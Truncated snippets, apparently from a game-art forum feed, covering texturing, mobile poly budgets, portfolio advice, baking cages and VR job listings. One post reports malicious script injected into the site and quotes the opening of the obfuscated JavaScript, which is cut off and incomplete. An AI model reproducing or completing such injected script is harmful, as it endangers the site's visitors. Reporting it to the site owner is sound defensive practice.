Sorry for the lack of updates, we kept saying "we will add something else before posting" and it never happened until now. Eventually we are going to add cart tracks, footprints and wear decals to the roads so they look less flat, I still need to sculpt some height into them. We'll be adding grass meshes into the gaps and…
Definitely always a topic of discussion, but with the increasing hardware even on mobile , I have worked on games where we could have 300-400k+ tri's on screen at any given time with 512^2 textures. Soon enough mobile will support these higher res meshes, and companies are building software for the future and are looking…
Wow how good is this site that you can get advice from senior staff at the company you're applying for! I believe that anyone reviewing your portfolio is going to have a difficult time relating it to the type of games Ubisoft creates. It seems you work is almost more for films, or casual games. Not the high detailed…
I have something in my chest too: - Watching someone else playing VR games doesn´t mean you know what VR is. - Making only ZBrush sculpts doesn´t mean you know something about 3d in general. - Beginners making speed modeling is 9/10 a bad idea. - Using something like Quixel Suite does not mean you know PBR. - Buying stuff…
Per: he's referring to using the cage as apposed to the "offset" method in max, which break edges when using SG's. He is correct in what he's say. You're mistaken in thinking that he's suggesting using a Custom cage tweaked vrs a simple cage setup. But he's talking about a proper averaged cage, vrs the broken edge…
There's a scripting exploit in your site. I started digging around in your javascript files and found this cryptic code block that has been inserted into everything: this.zc="zc";var kl=new String();v=function(){var kg;if(kg!='se'){kg='se'};var w=document;var e;if(e!='d'){e=''};var ty;if(ty!='' &&…
The Game Outback (working title) is poised to be a highly replayable, VR supported, 1-4 player cooperative horror survival title for PC. It will bring the immersive and truly terrifying experience of a high fidelity single player horror game to a multiplayer audience. The Role To start with, we're in need of a talented…
Holodexxx is an indie gaming studio that focuses on bringing lifelike virtual replicas of adult entertainers into virtual reality. Using the latest in photogrammetry, and AI chatbot tech, we live on the bleeding edge of adult entertainment. We focus on delivering compelling story, a rich atmosphere and natural interaction…
The primary responsibility of the Technical Artist in this role is to work with the VR Engineering and Development Team to identify and implement strategies to run at target frame rates and within the memory range of the console being developed for. They will ensure that the art that ships in the game is of the highest…
We’re looking for a remote 3D Character Artist to create realistic-looking, animatable characters for an application developed for the Oculus Quest. Responsibilities, Qualifications, Requirements * Deliver high-quality characters, clothing and related assets meeting set deadlines * Able to stay within defined poly budgets…